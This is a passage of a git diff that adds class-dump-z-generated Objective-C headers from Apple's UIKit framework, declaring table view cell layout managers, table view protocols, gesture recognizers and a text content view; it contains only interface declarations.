/System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import +#import "UITableViewCellLayoutManager.h" + + +@interface UITableViewCellLayoutManager : NSObject { +} ++(id)layoutManagerForTableViewCellStyle:(int)tableViewCellStyle; +-(float)defaultTextLabelFontSizeForCell:(id)cell; +-(float)defaultDetailTextLabelFontSizeForCell:(id)cell; +-(id)defaultImageViewForCell:(id)cell; +-(id)defaultLabelForCell:(id)cell; +-(id)defaultEditableTextFieldForCell:(id)cell; +-(id)imageViewForCell:(id)cell; +-(id)textLabelForCell:(id)cell; +-(id)detailTextLabelForCell:(id)cell; +-(id)editableTextFieldForCell:(id)cell; +-(float)contentIndentationForCell:(id)cell; +-(void)layoutSubviewsOfCell:(id)cell; +-(void)cell:(id)cell willTransitionToState:(unsigned)state; +-(void)cell:(id)cell didTransitionToState:(unsigned)state; +-(CGRect)contentRectForCell:(id)cell forState:(unsigned)state; +-(BOOL)editControlShouldAppearForCell:(id)editControl; +-(CGRect)editControlStartingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(CGRect)editControlEndingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(BOOL)editControlShouldFadeForCell:(id)editControl; +-(BOOL)reorderControlShouldAppearForCell:(id)reorderControl; +-(CGRect)reorderControlStartingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(CGRect)reorderControlEndingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(BOOL)reorderControlShouldFadeForCell:(id)reorderControl; +-(BOOL)reorderSeparatorShouldAppearForCell:(id)reorderSeparator; +-(CGRect)reorderSeparatorStartingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(CGRect)reorderSeparatorEndingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(BOOL)reorderSeparatorShouldFadeForCell:(id)reorderSeparator; +-(BOOL)accessoryShouldAppearForCell:(id)accessory; +-(CGRect)accessoryStartingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(CGRect)accessoryEndingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(BOOL)accessoryShouldFadeForCell:(id)accessory; +-(BOOL)editingAccessoryShouldAppearForCell:(id)editingAccessory; +-(CGRect)editingAccessoryStartingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(CGRect)editingAccessoryEndingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(BOOL)editingAccessoryShouldFadeForCell:(id)editingAccessory; +-(CGRect)deleteConfirmationRectForCell:(id)cell; +-(CGRect)backgroundStartingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(CGRect)backgroundEndingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(CGRect)contentStartingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(CGRect)contentEndingRectForCell:(id)cell forNewEditingState:(BOOL)newEditingState; +-(CGRect)contentStartingRectForCell:(id)cell forDisplayOfDeleteConfirmation:(BOOL)deleteConfirmation; +-(CGRect)contentEndingRectForCell:(id)cell forDisplayOfDeleteConfirmation:(BOOL)deleteConfirmation; +@end + +@interface UITableViewCellLayoutManager (UITableViewCellLayoutManagerStatic) +-(CGRect)_backgroundRectForCell:(id)cell forIndentedState:(BOOL)indentedState; +-(CGRect)_adjustedBackgroundRectForCell:(id)cell forIndentedState:(BOOL)indentedState; +-(CGRect)_editControlRectForCell:(id)cell offscreen:(BOOL)offscreen; +-(CGRect)_reorderControlRectForCell:(id)cell offscreen:(BOOL)offscreen; +-(CGRect)_reorderSeparatorRectForCell:(id)cell offscreen:(BOOL)offscreen; +-(CGRect)_accessoryRectForCell:(id)cell offscreen:(BOOL)offscreen; +-(CGRect)_editingAccessoryRectForCell:(id)cell offscreen:(BOOL)offscreen; +-(CGRect)_contentRectForCell:(id)cell forEditingState:(BOOL)editingState showingDeleteConfirmation:(BOOL)confirmation; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerEditable1.h b/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerEditable1.h new file mode 100644 index 0000000..e4b4c23 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerEditable1.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITextFieldDelegate.h" +#import "UITableViewCellLayoutManager.h" + + +__attribute__((visibility("hidden"))) +@interface UITableViewCellLayoutManagerEditable1 : UITableViewCellLayoutManager { +} ++(id)layoutTextfield; +-(void)layoutSubviewsOfCell:(id)cell; +-(id)detailTextLabelForCell:(id)cell; +-(id)textLabelForCell:(id)cell; +-(id)editableTextFieldForCell:(id)cell; +-(void)textFieldDidBeginEditing:(id)textField; +-(void)textFieldDidEndEditing:(id)textField; +-(BOOL)textFieldShouldBeginEditing:(id)textField; +-(BOOL)textFieldShouldReturn:(id)textField; +-(void)_textFieldStartEditing:(id)editing; +-(void)_textFieldEndEditing:(id)editing; +-(void)_textFieldEndEditingOnReturn:(id)aReturn; +-(void)_textValueChanged:(id)changed; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerSubtitle.h b/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerSubtitle.h new file mode 100644 index 0000000..5a25c49 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerSubtitle.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITableViewCellLayoutManager.h" + + +__attribute__((visibility("hidden"))) +@interface UITableViewCellLayoutManagerSubtitle : UITableViewCellLayoutManager { +} +-(float)defaultTextLabelFontSizeForCell:(id)cell; +-(float)defaultDetailTextLabelFontSizeForCell:(id)cell; +-(id)imageViewForCell:(id)cell; +-(id)textLabelForCell:(id)cell; +-(id)detailTextLabelForCell:(id)cell; +-(void)layoutSubviewsOfCell:(id)cell; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerValue1.h b/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerValue1.h new file mode 100644 index 0000000..a99895d --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerValue1.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITableViewCellLayoutManager.h" + + +__attribute__((visibility("hidden"))) +@interface UITableViewCellLayoutManagerValue1 : UITableViewCellLayoutManager { +} +-(float)defaultTextLabelFontSizeForCell:(id)cell; +-(float)defaultDetailTextLabelFontSizeForCell:(id)cell; +-(id)imageViewForCell:(id)cell; +-(id)textLabelForCell:(id)cell; +-(id)detailTextLabelForCell:(id)cell; +-(void)layoutSubviewsOfCell:(id)cell; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerValue2.h b/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerValue2.h new file mode 100644 index 0000000..3399cf0 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellLayoutManagerValue2.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITableViewCellLayoutManager.h" + + +__attribute__((visibility("hidden"))) +@interface UITableViewCellLayoutManagerValue2 : UITableViewCellLayoutManager { +} +-(float)defaultTextLabelFontSizeForCell:(id)cell; +-(float)defaultDetailTextLabelFontSizeForCell:(id)cell; +-(id)imageViewForCell:(id)cell; +-(id)textLabelForCell:(id)cell; +-(id)detailTextLabelForCell:(id)cell; +-(void)layoutSubviewsOfCell:(id)cell; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellReorderControl.h b/igor/headers/dumpedUIKit/UITableViewCellReorderControl.h new file mode 100644 index 0000000..4786bdb --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellReorderControl.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class UITableViewCell; + +__attribute__((visibility("hidden"))) +@interface UITableViewCellReorderControl : UIControl { +@private + UITableViewCell* _cell; + CGPoint _downPoint; +} ++(id)grabberImage; ++(CGSize)defaultSize; +-(id)initWithTableViewCell:(id)tableViewCell; +-(void)layoutSubviews; +-(BOOL)shouldTrack; +-(void)setFrame:(CGRect)frame; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)cancelTrackingWithEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellSelectedBackground.h b/igor/headers/dumpedUIKit/UITableViewCellSelectedBackground.h new file mode 100644 index 0000000..66a28a5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellSelectedBackground.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIColor; + +__attribute__((visibility("hidden"))) +@interface UITableViewCellSelectedBackground : UIView { +@private + int _selectionStyle; + UIColor* _multiselectBackgroundColor; + BOOL _multiselect; +} +@property(assign, nonatomic) int selectionStyle; +@property(retain, nonatomic) UIColor* multiselectBackgroundColor; +@property(assign, nonatomic, getter=isMultiselect) BOOL multiselect; +-(void)drawRect:(CGRect)rect; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellUnhighlightedState.h b/igor/headers/dumpedUIKit/UITableViewCellUnhighlightedState.h new file mode 100644 index 0000000..b72d289 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellUnhighlightedState.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIColor; + +__attribute__((visibility("hidden"))) +@interface UITableViewCellUnhighlightedState : NSObject { +@private + BOOL _opaque; + BOOL _highlighted; + UIColor* _backgroundColor; +} +@property(assign) BOOL opaque; +@property(assign) BOOL highlighted; +@property(retain) UIColor* backgroundColor; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewController.h b/igor/headers/dumpedUIKit/UITableViewController.h new file mode 100644 index 0000000..143eb88 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewController.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIViewController.h" +#import "UITableViewDelegate.h" +#import "UIKit-Structs.h" +#import "UITableViewDataSource.h" + +@class UITableView; + +@interface UITableViewController : UIViewController { +@private + int _tableViewStyle; + id _keyboardSupport; +} +@property(retain, nonatomic) UITableView* tableView; +-(id)init; +-(id)initWithStyle:(int)style; +-(void)dealloc; +-(id)existingTableView; +-(void)loadView; +-(void)viewWillAppear:(BOOL)view; +-(void)viewWillDisappear:(BOOL)view; +-(void)viewDidAppear:(BOOL)view; +-(void)setEditing:(BOOL)editing animated:(BOOL)animated; +-(void)_adjustTableForKeyboardInfo:(id)keyboardInfo; +-(int)tableView:(id)view numberOfRowsInSection:(int)section; +-(id)tableView:(id)view cellForRowAtIndexPath:(id)indexPath; +-(void)tableView:(id)view willBeginEditingRowAtIndexPath:(id)indexPath; +-(void)tableView:(id)view didEndEditingRowAtIndexPath:(id)indexPath; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewControllerKeyboardSupport.h b/igor/headers/dumpedUIKit/UITableViewControllerKeyboardSupport.h new file mode 100644 index 0000000..92cd99a --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewControllerKeyboardSupport.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UITableViewController; + +__attribute__((visibility("hidden"))) +@interface UITableViewControllerKeyboardSupport : NSObject { +@private + UITableViewController* _tableViewController; + float _adjustmentForKeyboard; + unsigned _viewIsDisappearing : 1; + unsigned _registeredForNotifications : 1; +} +@property(assign, nonatomic) float adjustmentForKeyboard; +@property(assign, nonatomic) BOOL registeredForNotifications; +@property(assign, nonatomic) BOOL viewIsDisappearing; +-(id)initWithTableViewController:(id)tableViewController; +-(void)_keyboardWillShow:(id)_keyboard; +-(void)_keyboardWillHide:(id)_keyboard; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCountView.h b/igor/headers/dumpedUIKit/UITableViewCountView.h new file mode 100644 index 0000000..69874d4 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCountView.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILabel.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UITableViewCountView : UILabel { +@private + NSString* _countString; + int _count; +} +-(id)initWithFrame:(CGRect)frame withCountString:(id)countString withCount:(int)count; +-(void)dealloc; +-(void)setCountString:(id)string withCount:(int)count; +-(void)setCount:(int)count; +-(int)count; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewDataSource.h b/igor/headers/dumpedUIKit/UITableViewDataSource.h new file mode 100644 index 0000000..8a4f4c4 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewDataSource.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol UITableViewDataSource +-(int)tableView:(id)view numberOfRowsInSection:(int)section; +-(id)tableView:(id)view cellForRowAtIndexPath:(id)indexPath; +@optional +-(int)numberOfSectionsInTableView:(id)tableView; +-(id)tableView:(id)view titleForHeaderInSection:(int)section; +-(id)tableView:(id)view titleForFooterInSection:(int)section; +-(BOOL)tableView:(id)view canEditRowAtIndexPath:(id)indexPath; +-(BOOL)tableView:(id)view canMoveRowAtIndexPath:(id)indexPath; +-(id)sectionIndexTitlesForTableView:(id)tableView; +-(int)tableView:(id)view sectionForSectionIndexTitle:(id)sectionIndexTitle atIndex:(int)index; +-(void)tableView:(id)view commitEditingStyle:(int)style forRowAtIndexPath:(id)indexPath; +-(void)tableView:(id)view moveRowAtIndexPath:(id)indexPath toIndexPath:(id)indexPath3; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewDelegate.h b/igor/headers/dumpedUIKit/UITableViewDelegate.h new file mode 100644 index 0000000..b956fc1 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewDelegate.h @@ -0,0 +1,34 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" +#import "UIScrollViewDelegate.h" + + +@protocol UITableViewDelegate +@optional +-(void)tableView:(id)view willDisplayCell:(id)cell forRowAtIndexPath:(id)indexPath; +-(float)tableView:(id)view heightForRowAtIndexPath:(id)indexPath; +-(float)tableView:(id)view heightForHeaderInSection:(int)section; +-(float)tableView:(id)view heightForFooterInSection:(int)section; +-(id)tableView:(id)view viewForHeaderInSection:(int)section; +-(id)tableView:(id)view viewForFooterInSection:(int)section; +-(int)tableView:(id)view accessoryTypeForRowWithIndexPath:(id)indexPath; +-(void)tableView:(id)view accessoryButtonTappedForRowWithIndexPath:(id)indexPath; +-(id)tableView:(id)view willSelectRowAtIndexPath:(id)indexPath; +-(id)tableView:(id)view willDeselectRowAtIndexPath:(id)indexPath; +-(void)tableView:(id)view didSelectRowAtIndexPath:(id)indexPath; +-(void)tableView:(id)view didDeselectRowAtIndexPath:(id)indexPath; +-(int)tableView:(id)view editingStyleForRowAtIndexPath:(id)indexPath; +-(id)tableView:(id)view titleForDeleteConfirmationButtonForRowAtIndexPath:(id)indexPath; +-(BOOL)tableView:(id)view shouldIndentWhileEditingRowAtIndexPath:(id)indexPath; +-(void)tableView:(id)view willBeginEditingRowAtIndexPath:(id)indexPath; +-(void)tableView:(id)view didEndEditingRowAtIndexPath:(id)indexPath; +-(id)tableView:(id)view targetIndexPathForMoveFromRowAtIndexPath:(id)indexPath toProposedIndexPath:(id)proposedIndexPath; +-(int)tableView:(id)view indentationLevelForRowAtIndexPath:(id)indexPath; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewIndex.h b/igor/headers/dumpedUIKit/UITableViewIndex.h new file mode 100644 index 0000000..172277f --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewIndex.h @@ -0,0 +1,50 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITableViewIndex.h" +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class UIFont, NSString, NSArray; + +__attribute__((visibility("hidden"))) +@interface UITableViewIndex : UIControl { +@private + NSArray* _titles; + UIFont* _font; + int _selectedSection; + BOOL _pastTop; + BOOL _pastBottom; + CGSize _cachedSize; + CGSize _cachedSizeToFit; +} +@property(readonly, assign, nonatomic) int selectedSection; +@property(readonly, assign, nonatomic) BOOL pastTop; +@property(readonly, assign, nonatomic) BOOL pastBottom; +@property(readonly, assign, nonatomic) NSString* selectedSectionTitle; +@property(retain, nonatomic) UIFont* font; +@property(retain, nonatomic) NSArray* titles; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(CGSize)sizeThatFits:(CGSize)fits; +-(unsigned)maximumNumberOfTitlesWithoutTruncationForHeight:(float)height; +-(void)drawRect:(CGRect)rect; +-(void)_selectSectionForTouch:(id)touch withEvent:(id)event; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)cancelTrackingWithEvent:(id)event; +-(id)_createTouchesWithMouseEvent:(GSEventRef)mouseEvent phase:(int)phase; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +@end + +@interface UITableViewIndex (UITableViewIndexInternal) +-(id)_displayTitles; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewRowData.h b/igor/headers/dumpedUIKit/UITableViewRowData.h new file mode 100644 index 0000000..1e3fa7f --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewRowData.h @@ -0,0 +1,81 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCopying.h" +#import +#import "UITableViewRowData.h" + +@class UITableView, NSIndexPath; + +__attribute__((visibility("hidden"))) +@interface UITableViewRowData : NSObject { +@private + UITableView* _tableView; + int _numSections; + int _sectionRowDataCapacity; + UISectionRowData** _sectionRowData; + float _minimumRowHeight; + float _tableViewWidth; + float _tableHeaderHeight; + float _tableFooterHeight; + NSIndexPath* _reorderedIndexPath; + float _reorderedRowHeight; +} +@property(assign, nonatomic) float minimumRowHeight; +-(id)initWithTableView:(id)tableView; +-(void)tableViewWidthDidChangeToWidth:(float)tableViewWidth; +-(void)tableHeaderHeightDidChangeToHeight:(float)tableHeaderHeight; +-(void)tableFooterHeightDidChangeToHeight:(float)tableFooterHeight; +-(void)dealloc; +-(void)ensureAllSectionsAreValid; +-(void)invalidateAllSections; +-(void)invalidateSection:(int)section; +-(void)setReorderedIndexPath:(id)path; +-(id)reorderedIndexPath; +-(id)targetIndexPathForPoint:(CGPoint)point; +-(void)moveRowAtIndexPathFrom:(id)from toIndexPath:(id)indexPath; +-(void)addReorderGapFromIndexPath:(id)indexPath; +-(void)removeReorderGapFromIndexPath:(id)indexPath; +-(int)numberOfSections; +-(int)numberOfRowsInSection:(int)section; +-(int)numberOfRowsBeforeSection:(int)rowsBeforeSection; +-(int)numberOfRows; +-(BOOL)hasHeaderForSection:(int)section; +-(BOOL)hasFooterForSection:(int)section; +-(float)heightForTableHeaderView; +-(float)heightForTableFooterView; +-(float)heightForSection:(int)section; +-(float)heightForHeaderInSection:(int)section; +-(float)heightForFooterInSection:(int)section; +-(float)heightForRow:(int)row inSection:(int)section; +-(int)sectionLocationForRow:(int)row inSection:(int)section; +-(int)sectionLocationForReorderedRow:(int)reorderedRow inSection:(int)section; +-(CGRect)rectForTableHeaderView; +-(CGRect)rectForTableFooterView; +-(CGRect)rectForTable; +-(CGRect)rectForSection:(int)section; +-(CGRect)rectForHeaderInSection:(int)section; +-(CGRect)floatingRectForHeaderInSection:(int)section visibleRect:(CGRect)rect; +-(CGRect)rectForFooterInSection:(int)section; +-(float)heightForTable; +-(CGRect)floatingRectForFooterInSection:(int)section visibleRect:(CGRect)rect; +-(CGRect)rectForRow:(int)row inSection:(int)section; +-(CGRect)rectForGlobalRow:(int)globalRow; +-(id)indexPathsForRowsInRect:(CGRect)rect; +-(NSRange)globalRowsInRect:(CGRect)rect; +-(int)globalRowForRowAtIndexPath:(id)indexPath; +-(id)indexPathForRowAtGlobalRow:(int)globalRow; +-(id)copyWithZone:(NSZone*)zone; +@end + +@interface UITableViewRowData (UITableViewRowDataPrivate) +-(void)_updateNumSections; +-(void)_updateSectionRowDataArrayForNumSections:(int)numSections; +-(void)_ensureSectionOffsetIsValidForSection:(int)section; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewScrollTestParameters.h b/igor/headers/dumpedUIKit/UITableViewScrollTestParameters.h new file mode 100644 index 0000000..814209c --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewScrollTestParameters.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UITableViewScrollTestParameters : NSObject { +@private + int _iterations; + int _yDelta; + int _scrollLength; + NSString* _currentTest; +} +@property(assign, nonatomic) int iterations; +@property(retain, nonatomic) NSString* currentTest; +@property(assign, nonatomic) int yDelta; +@property(assign, nonatomic) int scrollLength; +-(id)initWithName:(id)name iterations:(int)iterations delta:(int)delta length:(int)length; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UITapAndAHalfRecognizer.h b/igor/headers/dumpedUIKit/UITapAndAHalfRecognizer.h new file mode 100644 index 0000000..0ea8850 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITapAndAHalfRecognizer.h @@ -0,0 +1,41 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIGestureRecognizer.h" + +@class NSMutableSet, UITouch, UIDelayedAction; + +__attribute__((visibility("hidden"))) +@interface UITapAndAHalfRecognizer : UIGestureRecognizer { +@private + CGPoint _startPoint; + float _allowableMovement; + int _numberOfFullTaps; + NSMutableSet* _activeTouches; + int _currentNumberOfTaps; + UITouch* _touch; + UIDelayedAction* _tapTimer; +} +@property(assign, nonatomic) int numberOfFullTaps; +@property(retain, nonatomic) UITouch* touch; +@property(assign, nonatomic) float allowableMovement; +-(id)initWithTarget:(id)target action:(SEL)action; +-(void)dealloc; +-(void)reset; +-(void)clearTapTimer; +-(void)startRecognitionTimer:(double)timer; +-(void)startTapTimer:(double)timer; +-(void)tooSlow:(id)slow; +-(void)recognized:(id)recognized; +-(void)_verifyMovementInAllowableRange; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UITapGestureRecognizer.h b/igor/headers/dumpedUIKit/UITapGestureRecognizer.h new file mode 100644 index 0000000..3ab2073 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITapGestureRecognizer.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIGestureRecognizer.h" + +@class NSArray, NSMutableArray; + +@interface UITapGestureRecognizer : UIGestureRecognizer { + int _numberOfFingers; + int _numberOfTaps; + CGPoint _location; + int _touchesAtMaxTaps; + BOOL _gotEnoughTouches; + NSMutableArray* _touches; +} +@property(readonly, assign, nonatomic) CGPoint location; +@property(assign, nonatomic) int numberOfTaps; +@property(assign, nonatomic) int numberOfFingers; +@property(readonly, assign, nonatomic) NSArray* touches; +-(id)initWithTarget:(id)target action:(SEL)action; +-(void)dealloc; +-(void)reset; +-(void)_tapTooSlow; +-(void)_doubleTapTooSlow; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UITextContentView.h b/igor/headers/dumpedUIKit/UITextContentView.h new file mode 100644 index 0000000..c5e08f7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITextContentView.h @@ -0,0 +1,231 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITextInputTraits.h" +#import "UITextContentView.h" +#import "UITextSelectingContainer.h" +#import "UIView.h" + +@class UIFont, NSString, UIWebDocumentView, UIDelayedAction, DOMHTMLElement, WebFrame, UITextInteractionAssistant, UITextSelectionView, UIColor, UITouch; +@protocol UITextSelectingContent, UITextContentViewDelegate; + +@interface UITextContentView : UIView { +@private + id m_delegate; + WebFrame* m_frame; + DOMHTMLElement* m_body; + int m_marginTop; + UIDelayedAction* m_scrollToVisibleTimer; + CGPoint m_touchPoint; + CGPoint m_touchOffset; + UITouch* m_syntheticTouch; + UIEdgeInsets m_selectionInset; + float m_bottomBufferHeight; + BOOL m_editable; + BOOL m_editing; + BOOL m_becomesEditableWithGestures; + BOOL m_selecting; + BOOL m_handlingMouse; + BOOL m_sentMouseDown; + BOOL m_passMouseDownToOther; + BOOL m_scrollOnMouseUp; + BOOL m_becomingFirstResponder; + BOOL m_reentrancyGuard; + BOOL m_scrollsSelectionOnWebDocumentChanges; + UITextInteractionAssistant* m_interactionAssistant; + UITextSelectionView* m_selectionView; + UIWebDocumentView* m_webView; + UIFont* m_font; + UIColor* m_textColor; + int m_textAlignment; +} +@property(assign, nonatomic) UIEdgeInsets selectionInset; +@property(assign, nonatomic) BOOL scrollsSelectionOnWebDocumentChanges; +@property(assign, nonatomic) int autocapitalizationType; +@property(assign, nonatomic) int autocorrectionType; +@property(assign, nonatomic) int keyboardType; +@property(assign, nonatomic) int keyboardAppearance; +@property(assign, nonatomic) int returnKeyType; +@property(assign, nonatomic) BOOL enablesReturnKeyAutomatically; +@property(assign, nonatomic, getter=isSecureTextEntry) BOOL secureTextEntry; +@property(assign, nonatomic, getter=isEditing) BOOL editing; +@property(assign, nonatomic) id delegate; +@property(readonly, assign, nonatomic) UITextSelectionView* selectionView; +@property(readonly, assign, nonatomic) UITextInteractionAssistant* interactionAssistant; +@property(readonly, assign, nonatomic) UIView* content; +@property(assign, nonatomic, getter=isEditable) BOOL editable; +@property(assign, nonatomic) NSRange selectedRange; +@property(assign, nonatomic) int textAlignment; +@property(retain, nonatomic) UIColor* textColor; +@property(retain, nonatomic) UIFont* font; +@property(copy, nonatomic) NSString* text; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithFrame:(CGRect)frame webView:(id)view; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)commonInitWithWebDocumentView:(id)webDocumentView isDecoding:(BOOL)decoding; +-(void)dealloc; +-(void)removeFromSuperview; +-(void)detachSelectionView; +-(void)detachInteractionAssistant; +-(void)registerForEditingDelegateNotification:(id)editingDelegateNotification selector:(SEL)selector; 